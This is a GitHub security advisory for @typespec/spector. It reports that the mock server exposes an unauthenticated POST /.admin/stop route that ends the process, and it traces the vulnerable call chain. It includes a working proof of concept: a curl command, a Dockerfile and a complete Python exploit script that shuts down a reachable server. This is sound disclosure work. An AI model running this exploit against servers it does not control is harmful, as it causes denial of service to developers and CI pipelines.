---
id: GHSA-7q9c-hpx7-9cwm
title: >-
  TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST
  /.admin/stop
summary: >-
  TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST
  /.admin/stop
severity: high
cvss: 7.5
cwe:
  - CWE-306
vendor: typespec
product: '@typespec/spector'
ecosystem: npm
affected:
  - '@typespec/spector <= 0.1.0-alpha.26'
patched:
  - '@typespec/spector 0.1.0-alpha.27'
published: '2026-09-04'
updated: '2026-09-04'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-7q9c-hpx7-9cwm'
references:
  - url: >-
      https://github.com/microsoft/typespec/security/advisories/GHSA-7q9c-hpx7-9cwm
  - url: 'https://github.com/microsoft/typespec/pull/11274'
  - url: >-
      https://github.com/microsoft/typespec/commit/30d6f6598dd796e2d6aea038139d29b91e6a2da7
  - url: >-
      https://github.com/microsoft/typespec/commit/39f8f0230bb59b17464d8173b6bff4ddee8082a1
  - url: >-
      https://github.com/microsoft/typespec/releases/tag/@typespec/spector@0.1.0-alpha.27
  - url: 'https://github.com/advisories/GHSA-7q9c-hpx7-9cwm'
tags:
  - ghsa
  - npm
ingestedAt: '2026-09-04T22:28:54.676Z'
---

## Overview

### Summary

`@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**.

### Details

The vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:

```ts
// packages/spector/src/routes/admin.ts:7-12
router.post(AdminUrls.stop, (_req, res) => {
  logger.info("Received signal to stop server. Exiting...");
  res.status(202).end();
  setTimeout(() => {
    process.exit(0);
  });
});
```

The constant `AdminUrls.stop` resolves to `/.admin/stop` (`packages/spector/src/constants.ts:1-3`).

The complete attack-reachable call chain is:

1. **`packages/spector/src/cli/cli.ts:139-166`** — `tsp-spector serve <scenariosPaths..>` starts the server on default port `3000`. No `host` option is offered, so binding address is determined by the Express/Node.js default.
2. **`packages/spector/src/actions/serve.ts:28-33`** — constructs `MockApiApp` and calls `start()` without supplying a host argument.
3. **`packages/spector/src/app/app.ts:39-40`** — registers `internalRouter` at `/`, which includes the admin routes.
4. **`packages/spector/src/routes/index.ts:4-5`** — mounts `adminRoutes` under `/`.
5. **`packages/spector/src/routes/admin.ts:7-12`** — the `POST /.admin/stop` handler (the sink) is reached with zero authentication.
6. **`packages/spector/src/server/server.ts:88`** — `this.app.listen(this.config.port)` is called without a host argument, causing Node.js/Express to bind on `0.0.0.0` (all network interfaces).

There is no authentication middleware, API token validation, `Authorization` header check, `Origin` header restriction, or IP allowlist anywhere between the inbound HTTP request and the `process.exit(0)` call. The admin route is mounted before scenario routes so it cannot be shadowed.

### PoC

**Prerequisites:**

```
git clone https://github.com/microsoft/typespec
cd typespec
# Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)
pnpm install
pnpm build
```

**Step 1 — Start the mock server:**

```bash
pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000
# Server listens on 0.0.0.0:3000 by default
```

Alternatively, use the provided Docker environment:

```bash
# Build context: reports/npm_web_64_microsoft__typespec/
docker build -t vuln002-spector -f vuln-002/Dockerfile .
docker run -d -p 3001:3000 --name vuln002-server vuln002-spector
```

**Step 2 — Execute the exploit (single unauthenticated request):**

```bash
curl -i -X POST http://<server-host>:3000/.admin/stop
```

Using the provided PoC script:

```bash
python3 vuln-002/poc.py --host 127.0.0.1 --port 3001
```

**Step 3 — Observe the result:**

```
HTTP/1.1 202 Accepted
```

The server process immediately exits. Subsequent connection attempts are refused. Docker logs show:

```
info Received signal to stop server. Exiting...
```

Docker inspect confirms `ExitCode=0, Status=exited`. No credentials, tokens, or special headers are required at any step.

### Impact

This is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where `tsp-spector serve` is listening can terminate the server process with a single POST request, resulting in a complete denial of service.

The primary victims are development or CI/CD pipeline operators who run `tsp-spector serve` in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to `0.0.0.0` by default and the CLI offers no `--host` option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.

Although `@typespec/spector` is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile
# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop
# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
# CWE-306: Missing Authentication for Critical Function  CVSS 7.5 (High)
#
# Build context: reports/npm_web_64_microsoft__typespec/
# Build:  docker build -t vuln002-spector -f vuln-002/Dockerfile .
# Run:    docker run -d -p 3000:3000 --name vuln002-server vuln002-spector

FROM node:22-slim

# Install tsx to run TypeScript source files directly without compilation.
# This lets us use the actual repository .ts files as-is.
RUN npm install -g tsx@4

WORKDIR /poc

# Minimal package.json declaring ESM mode
RUN echo '{"type":"module"}' > package.json

# Install only the npm packages actually used by the vulnerable code path:
#   express     — web framework (admin.ts, routes/index.ts, server.ts)
#   picocolors  — terminal colors (logger.ts)
RUN npm install express picocolors

# -----------------------------------------------------------------------
# Copy the EXACT vulnerable source files from the repository.
# No source file is modified — they are used verbatim.
# -----------------------------------------------------------------------

# packages/spector/src/constants.ts
#   Defines AdminUrls.stop = "/.admin/stop"
COPY repo/packages/spector/src/constants.ts ./spector/constants.ts

# packages/spector/src/logger.ts
#   Simple console logger; imported by admin.ts
COPY repo/packages/spector/src/logger.ts ./spector/logger.ts

# packages/spector/src/routes/admin.ts  ← VULNERABILITY SINK
#   Registers POST /.admin/stop with NO authentication → process.exit(0)
COPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts

# packages/spector/src/routes/index.ts
#   Mounts adminRoutes at "/"
COPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts

# Minimal entry point that connects the router to the HTTP server,
# replicating the behaviour of MockApiApp.start() + MockApiServer.start()
COPY vuln-002/server-entry.ts ./server-entry.ts

EXPOSE 3000

# tsx strips TypeScript types at runtime — no separate compile step needed
CMD ["tsx", "server-entry.ts"]
```

#### `poc.py`

```python
#!/usr/bin/env python3
"""
PoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop
Package:   @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
CWE:       CWE-306 — Missing Authentication for Critical Function
CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H  Base Score: 7.5 (High)

Vulnerability:
  packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without
  any authentication, token, Origin, or IP-source check.  The handler calls
  process.exit(0) after returning HTTP 202.  The server listens on 0.0.0.0
  (packages/spector/src/server/server.ts:88) so any network-reachable client
  can terminate the process with a single unauthenticated POST request.

Usage:
  python3 poc.py [--host HOST] [--port PORT]
"""

import sys
import time
import socket
import argparse
import urllib.request
import urllib.error


BANNER = """
================================================================
VULN-002: Unauthenticated Remote Shutdown — POST /.admin/stop
Package : @typespec/spector 0.1.0-alpha.26
CWE     : CWE-306  CVSS 7.5 (High)
================================================================
"""

PASS_MSG = """
[EXPLOIT SUCCESSFUL]
  1. Server accepted an unauthenticated POST to /.admin/stop
  2. Server responded HTTP 202 Accepted with no credential check
  3. Server process exited — subsequent connection attempt refused
  4. Zero authentication, tokens, or Origin restrictions enforced
================================================================
"""

FAIL_MSG = """
[EXPLOIT FAILED]
Check that the Docker container is running:
  docker run -d -p 3000:3000 --name vuln002-server vuln002-spector
================================================================
"""


def is_port_open(host: str, port: int, timeout: float = 2.0) -> bool:
    """Return True if TCP port accepts connections."""
    try:
        with socket.create_connection((host, port), timeout=timeout):
            return True
    except (ConnectionRefusedError, socket.timeout, OSError):
        return False


def wait_for_server(host: str, port: int, max_wait: float = 30.0) -> bool:
    """Poll until the server is reachable or max_wait seconds elapse."""
    print(f"[*] Waiting for server at {host}:{port} (up to {max_wait}s) ...")
    deadline = time.monotonic() + max_wait
    while time.monotonic() < deadline:
        if is_port_open(host, port):
            print(f"[+] Server is reachable at {host}:{port}")
            return True
        time.sleep(0.5)
    return False


def send_unauthenticated_stop(host: str, port: int) -> int:
    """
    Send POST /.admin/stop with no credentials and return the HTTP status code.

    This is the exploit request.  No Authorization header, no token, no
    special Origin — the server accepts it as-is.
    """
    url = f"http://{host}:{port}/.admin/stop"
    print(f"[*] Sending unauthenticated POST to {url}")
    print(f"[*] Request headers: (none beyond Host and Content-Length:0)")

    req = urllib.request.Request(url, data=b"", method="POST")
    try:
        with urllib.request.urlopen(req, timeout=5) as resp:
            code = resp.status
            print(f"[+] HTTP response: {code} {resp.reason}")
            return code
    except urllib.error.HTTPError as exc:
        print(f"[+] HTTP error response: {exc.code} {exc.reason}")
        return exc.code
    except urllib.error.URLError as exc:
        # Connection closed before response (process.exit race) still counts
        print(f"[+] Connection dropped during response: {exc.reason}")
        return 202  # server accepted and exited before full response


def main() -> None:
    parser = argparse.ArgumentParser(
        description="PoC: unauthenticated remote shutdown of tsp-spector mock server"
    )
    parser.add_argument("--host", default="127.0.0.1", help="Target host (default: 127.0.0.1)")
    parser.add_argument("--port", type=int, default=3000, help="Target port (default: 3000)")
    args = parser.parse_args()

    print(BANNER)

    # Step 1 — Confirm the server is running before the attack
    if not wait_for_server(args.host, args.port):
        print(f"[-] Server not reachable at {args.host}:{args.port} after 30 s")
        print(FAIL_MSG)
        sys.exit(1)

    print()
    print("[STEP 1] Server confirmed running — unauthenticated attacker can reach it")

    # Step 2 — Send the exploit (single unauthenticated POST)
    print()
    print("[STEP 2] Sending exploit: POST /.admin/stop (no credentials)")
    status = send_unauthenticated_stop(args.host, args.port)

    if status != 202:
        print(f"[-] Expected HTTP 202 Accepted, got {status}")
        print(FAIL_MSG)
        sys.exit(1)

    print("[+] HTTP 202 Accepted — server acknowledged shutdown with no auth check")

    # Step 3 — Verify the process actually exited
    print()
    print("[STEP 3] Verifying server has terminated ...")
    time.sleep(2)

    if is_port_open(args.host, args.port):
        print("[-] Server is still accepting connections (exploit did not terminate process)")
        print(FAIL_MSG)
        sys.exit(1)

    print("[+] Connection refused — server process has exited")

    # All three steps passed → exploit confirmed
    print(PASS_MSG)
    sys.exit(0)


if __name__ == "__main__":
    main()
```

## Affected packages

- `@typespec/spector <= 0.1.0-alpha.26`

## Remediation

Upgrade to a patched release:

- `@typespec/spector 0.1.0-alpha.27`
